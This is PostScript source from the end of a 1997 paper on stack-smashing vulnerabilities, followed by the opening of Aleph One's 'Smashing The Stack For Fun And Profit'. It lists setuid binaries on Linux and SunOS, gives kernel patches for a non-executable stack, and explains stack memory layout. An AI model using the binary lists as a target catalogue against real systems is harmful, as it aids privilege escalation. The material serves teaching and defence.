0.0000 0.0000 1.0000 SET_CMYK GS n 1700 1648 M (/usr/local/sbin/traceroute) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 1460 M (/usr/sbin/pppd-2.2) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 33 33 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1700 9912 M (/usr/sbin/sendmail) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 9724 M (/usr/sbin/sliplogin) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 9536 M (/usr/X11R6/bin/xload) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 9348 M (/usr/X11R6/bin/xterm) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 9160 M (/usr/X11R6/bin/color_xterm) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8972 M (/usr/X11R6/bin/XF86_S3) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8784 M (/usr/X11R6/bin/xosview) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8596 M (/usr/X11R6/bin/XF86_S3.old2) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8408 M (/usr/X11R6/bin/Xaccel) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8220 M (/var/X11R6/lib/AcceleratedX/arch/LINUX/Xaccel) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8032 M (/var/X11R6/lib/AcceleratedX/bin/Xaccel) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7844 M (/bin/su) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7656 M (/bin/mount) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7468 M (/bin/umount) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7280 M (/bin/ping) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p120000 SETFONT GS n 1200 6868 M (SunOS - 5.5.1 Generic sun4u sparc) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1200 6656 M (/usr/local/bin/screen-3.7.1) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6468 M (/usr/local/bin/sudo) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6280 M (/usr/local/bin/su) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6092 M (/usr/local/bin/ssh) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5904 M (/usr/local/bin/rlpr) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5716 M (/usr/local/bin/rlprd) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5528 M (/usr/local/bin/top) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5340 M (/usr/local/bin/ntping) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5152 M (/usr/local/bin/straps) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4964 M (/usr/local/bin/rlpq) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4776 M (/usr/local/sbin/traceroute) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4588 M (/usr/local/sbin/tcpdump) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4400 M (/usr/local/sbin/itest) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4212 M (/usr/local/sbin/icmpinfo) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4024 M (/usr/local/X11/xmcd) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3836 M (/usr/local/X11/cda) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3648 M (/usr/bin/at) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3460 M (/usr/bin/atq) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3272 M (/usr/bin/atrm) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3084 M (/usr/bin/chkey) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2896 M (/usr/bin/crontab) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2708 M (/usr/bin/login) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2520 M (/usr/bin/newgrp) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2332 M (/usr/bin/passwd) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2144 M (/usr/bin/ps) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1956 M (/usr/bin/rcp) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1768 M (/usr/bin/rdist) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1580 M (/usr/bin/rlogin) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1392 M (/usr/bin/rsh) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 34 34 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1200 9912 M (/usr/bin/su) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9724 M (/usr/bin/uptime) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9536 M (/usr/bin/w) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9348 M (/usr/bin/yppasswd) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9160 M (/usr/bin/volcheck) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8972 M (/usr/bin/admintool) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8784 M (/usr/bin/ct) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8596 M (/usr/bin/nispasswd) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8408 M (/usr/lib/fs/ufs/quota) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8220 M (/usr/lib/fs/ufs/ufsdump) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8032 M (/usr/lib/fs/ufs/ufsrestore) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7844 M (/usr/lib/exrecover) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7656 M (/usr/lib/pt_chmod) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7468 M (/usr/lib/utmp_update) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7280 M (/usr/lib/acct/accton) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7092 M (/usr/openwin/bin/xlock) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6904 M (/usr/openwin/bin/ff.core) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6716 M (/usr/openwin/bin/kcms_configure) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6528 M (/usr/openwin/bin/kcms_calibrate) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6340 M (/usr/openwin/lib/mkcookie) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6152 M (/usr/sbin/allocate) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5964 M (/usr/sbin/mkdevalloc) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5776 M (/usr/sbin/mkdevmaps) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5588 M (/usr/sbin/ping) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5400 M (/usr/sbin/sacadm) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5212 M (/usr/sbin/whodo) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5024 M (/usr/sbin/deallocate) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4836 M (/usr/sbin/list_devices) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4648 M (/usr/sbin/static/rcp) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4460 M (/usr/dt/bin/dtaction) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4272 M (/usr/dt/bin/dtappgather) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4084 M (/usr/dt/bin/dtsession) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3896 M (/usr/dt/bin/dtprintinfo) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3708 M (/usr/dt/bin/sdtcm_convert) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3520 M (/usr/proc/bin/ptree) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3332 M (/usr/proc/bin/pwait) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3144 M (/usr/ucb/ps) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2956 M (/sbin/su) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 35 35 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 2385 9823 M (Appendix C - Stack Execution Permission Patches) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9438 M (Linux 2.0) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 1200 9280 M (diff -u --recursive /extra/Linux-2.0.30/arch/i386/kernel/head.S ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9148 M (Linux/arch/i386/kernel/head.S) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9016 M (--- /extra/Linux-2.0.30/arch/i386/kernel/head.S Sat Apr 12 10:41:59 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8884 M (+++ Linux/arch/i386/kernel/head.S Sat Apr 12 10:44:58 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8752 M (@@ -402,7 +402,7 @@) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8620 M ( .quad 0xc0c392000000ffff /* 0x18 kernel 1GB data at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8488 M (0xC0000000 */) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8356 M ( .quad 0x00cbfa000000ffff /* 0x23 user 3GB code at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8224 M (0x00000000 */) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8092 M ( .quad 0x00cbf2000000ffff /* 0x2b user 3GB data at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7960 M (0x00000000 */) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7828 M (- .quad 0x0000000000000000 /* not used */) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7696 M (+ .quad 0x00cafa000000ffff /* 0x33 user 2.75GB code */) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7564 M ( .quad 0x0000000000000000 /* not used */) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7432 M ( .fill 2*NR_TASKS,8,0 /* space for LDT's and TSS's etc */) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7300 M ( #ifdef CONFIG_APM) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7168 M (diff -u --recursive /extra/Linux-2.0.30/arch/i386/kernel/signal.c ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7036 M (Linux/arch/i386/kernel/signal.c) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6904 M (--- /extra/Linux-2.0.30/arch/i386/kernel/signal.c Sat Apr 12 10:41:59 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6772 M (1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6640 M (+++ Linux/arch/i386/kernel/signal.c Sat Apr 12 10:44:58 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6508 M (@@ -214,7 +214,7 @@) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6376 M ( /* Set up registers for signal handler */) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6244 M ( regs->esp = \(unsigned long\) frame;) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6112 M ( regs->eip = \(unsigned long\) sa->sa_handler;) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5980 M (- regs->cs = USER_CS; regs->ss = USER_DS;) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5848 M (+ regs->cs = USER_HUGE_CS; regs->ss = USER_DS;) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5716 M ( regs->ds = USER_DS; regs->es = USER_DS;) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5584 M ( regs->gs = USER_DS; regs->fs = USER_DS;) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5452 M ( regs->eflags &= ~TF_MASK;) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5320 M (diff -u --recursive /extra/Linux-2.0.30/include/asm-i386/segment.h ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5188 M (Linux/include/asm-i386/segment.h) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5056 M (--- /extra/Linux-2.0.30/include/asm-i386/segment.h Sat Apr 12 10:41:37 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4924 M (1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4792 M (+++ Linux/include/asm-i386/segment.h Sat Apr 12 10:44:58 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4660 M (@@ -4,7 +4,8 @@) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4528 M ( #define KERNEL_CS 0x10) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4396 M ( #define KERNEL_DS 0x18) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4104 M (-#define USER_CS 0x23) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3972 M (+#define USER_HUGE_CS 0x23) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3840 M (+#define USER_CS 0x33) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3708 M ( #define USER_DS 0x2B) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3576 M ( #ifndef __ASSEMBLY__) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 36 36 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 9823 M (References) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 9489 M ([1]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 9489 M (One, Aleph) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p100000 SETFONT GS n 2340 9489 M ( Smashing The Stack For Fun And Profit.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 4646 9489 M ( Phrack Magazine 49, Fall 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9169 M ([2]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p100000 SETFONT GS n 1700 9169 M (Stack Smashing, What to do?) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3322 9169 M ( Shawn Instentes. USENIX Association ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p100000 SETFONT GS n 5602 9169 M (Login) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 5925 9169 M (, April 1997 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8849 M ([3]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p100000 SETFONT GS n 1700 8849 M (The Free On-Line Dictionary of Computing, FOLDOC) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 4759 8849 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 4829 8849 M (http://wfn-shop.Princeton.EDU/foldoc/) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 8529 M ([4] ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8529 M (CERT, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2190 8529 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2458 8529 M (Computer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3111 8529 M (Emergency ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3841 8529 M (Response ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4471 8529 M (Team ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4886 8529 M (Coordination ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5716 8529 M (Center. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6220 8529 M (public ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6665 8529 M (FTP ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7002 8529 M (archives. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8369 M (ftp://ftp.cert.org. 1997.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8049 M ([5]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8049 M (CIAC, ) ST -1 0 MR (the ) ST -2 0 MR (U.S. ) ST -2 0 MR (Department ) ST -2 0 MR (of ) ST -2 0 MR (Energy's ) ST -2 0 MR (Computer ) ST -2 0 MR (Incident ) ST -2 0 MR (Advisory ) ST -2 0 MR (Capability. ) ST -2 0 MR (public ) ST -2 0 MR (webserver. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7889 M (http://ciac.llnl.gov/ 1997.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7569 M ([6]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p100000 SETFONT GS n 1700 7569 M (Practical UNIX & Internet Security) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3686 7569 M (. ) ST -2 0 MR ( ) ST -2 0 MR (Simson ) ST -2 0 MR (Garfinkel ) ST -2 0 MR (and ) ST -2 0 MR (Eugene ) ST -2 0 MR (Spafford. ) ST -2 0 MR ( ) ST -2 0 MR (O'Reilly ) ST -2 0 MR (and ) ST -3 0 MR (Associates ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7409 M (1996.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7089 M ([7]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p100000 SETFONT GS n 1700 7089 M (The Design and Implementation of the 4.4BSD Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 5320 7089 M (. McKusick, Marshall Kirk; Bostic, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 6929 M (Keith; Karles, Michael J.; Quarterman, John S. Addison Wesley 1996.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6609 M ([8]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 6609 M (Mudge. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p100000 SETFONT GS n 2197 6609 M (How to Write Buffer Overflows. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 4007 6609 M (http://www.l0pht.com/advisories/bufero.html.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6289 M ([9]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p100000 SETFONT GS n 1700 6289 M (Assembly Language for the IBM-PC.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3756 6289 M ( Kip R. Irvine. Macmillian Publishing Company, 1993. ) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 37 37 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 3622 9823 M (Acknowledgments) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 9489 M (Aleph One, Eugene Spafford, Solar Designer, Shawn Instenes, Theo DeRaadt, Mudge \ and the L0pht, and all ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9329 M (participants on the BUGTRAQ mailing list discussions.) ST GR %%PageTrailer AXPageSave restore showpage %%Trailer %%EOF buffer-overflows/p49-14.txt100644 0 0 200213 6347415502 14075 0ustar rootroot .oO Phrack 49 Oo. Volume Seven, Issue Forty-Nine File 14 of 16 BugTraq, r00t, and Underground.Org bring you XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX Smashing The Stack For Fun And Profit XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX by Aleph One aleph1@underground.org `smash the stack` [C programming] n. On many C implementations it is possible to corrupt the execution stack by writing past the end of an array declared auto in a routine. Code that does this is said to smash the stack, and can cause return from the routine to jump to a random address. This can produce some of the most insidious data-dependent bugs known to mankind. Variants include trash the stack, scribble the stack, mangle the stack; the term mung the stack is not used, as this is never done intentionally. See spam; see also alias bug, fandango on core, memory leak, precedence lossage, overrun screw. Introduction ~~~~~~~~~~~~ Over the last few months there has been a large increase of buffer overflow vulnerabilities being both discovered and exploited. Examples of these are syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt library, at, etc. This paper attempts to explain what buffer overflows are, and how their exploits work. Basic knowledge of assembly is required. An understanding of virtual memory concepts, and experience with gdb are very helpful but not necessary. We also assume we are working with an Intel x86 CPU, and that the operating system is Linux. Some basic definitions before we begin: A buffer is simply a contiguous block of computer memory that holds multiple instances of the same data type. C programmers normally associate with the word buffer arrays. Most commonly, character arrays. Arrays, like all variables in C, can be declared either static or dynamic. Static variables are allocated at load time on the data segment. Dynamic variables are allocated at run time on the stack. To overflow is to flow, or fill over the top, brims, or bounds. We will concern ourselves only with the overflow of dynamic buffers, otherwise known as stack-based buffer overflows. Process Memory Organization ~~~~~~~~~~~~~~~~~~~~~~~~~~~ To understand what stack buffers are we must first understand how a process is organized in memory. Processes are divided into three regions: Text, Data, and Stack. We will concentrate on the stack region, but first a small overview of the other regions is in order. The text region is fixed by the program and includes code (instructions) and read-only data. This region corresponds to the text section of the executable file. This region is normally marked read-only and any attempt to write to it will result in a segmentation violation. The data region contains initialized and uninitialized data. Static variables are stored in this region. The data region corresponds to the data-bss sections of the executable file. Its size can be changed with the brk(2) system call. If the expansion of the bss data or the user stack exhausts available memory, the process is blocked and is rescheduled to run again with a larger memory space. New memory is added between the data and stack segments. /------------------\ lower | | memory | Text | addresses | | |------------------| | (Initialized) | | Data | | (Uninitialized) | |------------------| | | | Stack | higher | | memory \------------------/ addresses Fig. 1 Process Memory Regions What Is A Stack? ~~~~~~~~~~~~~~~~ A stack is an abstract data type frequently used in computer science. A stack of objects has the property that the last object placed on the stack will be the first object removed. This property is commonly referred to as last in, first out queue, or a LIFO. Several operations are defined on stacks. Two of the most important are PUSH and POP. PUSH adds an element at the top of the stack. POP, in contrast, reduces the stack size by one by removing the last element at the top of the stack. Why Do We Use A Stack? ~~~~~~~~~~~~~~~~~~~~~~ Modern computers are designed with the need of high-level languages in mind. The most important technique for structuring programs introduced by high-level languages is the procedure or function. From one point of view, a procedure call alters the flow of control just as a jump does, but unlike a jump, when finished performing its task, a function returns control to the statement or instruction following the call. This high-level abstraction is implemented with the help of the stack. The stack is also used to dynamically allocate the local variables used in functions, to pass parameters to the functions, and to return values from the function. The Stack Region ~~~~~~~~~~~~~~~~ A stack is a contiguous block of memory containing data. A register called the stack pointer (SP) points to the top of the stack. The bottom of the stack is at a fixed address. Its size is dynamically adjusted by the kernel at run time. The CPU implements instructions to PUSH onto and POP off of the stack. The stack consists of logical stack frames that are pushed when calling a function and popped when returning. A stack frame contains the parameters to a function, its local variables, and the data necessary to recover the previous stack frame, including the value of the instruction pointer at the time of the function call. Depending on the implementation the stack will either grow down (towards lower memory addresses), or up. In our examples we'll use a stack that grows down. This is the way the stack grows on many computers including the Intel, Motorola, SPARC and MIPS processors. The stack pointer (SP) is also implementation dependent. It may point to the last address on the stack, or to the next free available address after the stack. For our discussion we'll assume it points to the last address on the stack. In addition to the stack pointer, which points to the top of the stack (lowest numerical address), it is often convenient to have a frame pointer (FP) which points to a fixed location within a frame. Some texts also refer to it as a local base pointer (LB). In principle, local variables could be referenced by giving their offsets from SP. However, as words are pushed onto the stack and popped from the stack, these offsets change. Although in some cases the compiler can keep track of the number of words on the stack and thus correct the offsets, in some cases it cannot, and in all cases considerable administration is required. Futhermore, on some machines, such as Intel-based processors, accessing a variable at a known distance from SP requires multiple instructions. Consequently, many compilers use a second register, FP, for referencing both local variables and parameters because their distances from FP do not change with PUSHes and POPs. On Intel CPUs, BP (EBP) is used for this purpose. On the Motorola CPUs, any address register except A7 (the stack pointer) will do. Because the way our stack grows, actual parameters have positive offsets and local variables have negative offsets from FP. The first thing a procedure must do when called is save the previous FP (so it can be restored at procedure exit). Then it copies SP into FP to create the new FP, 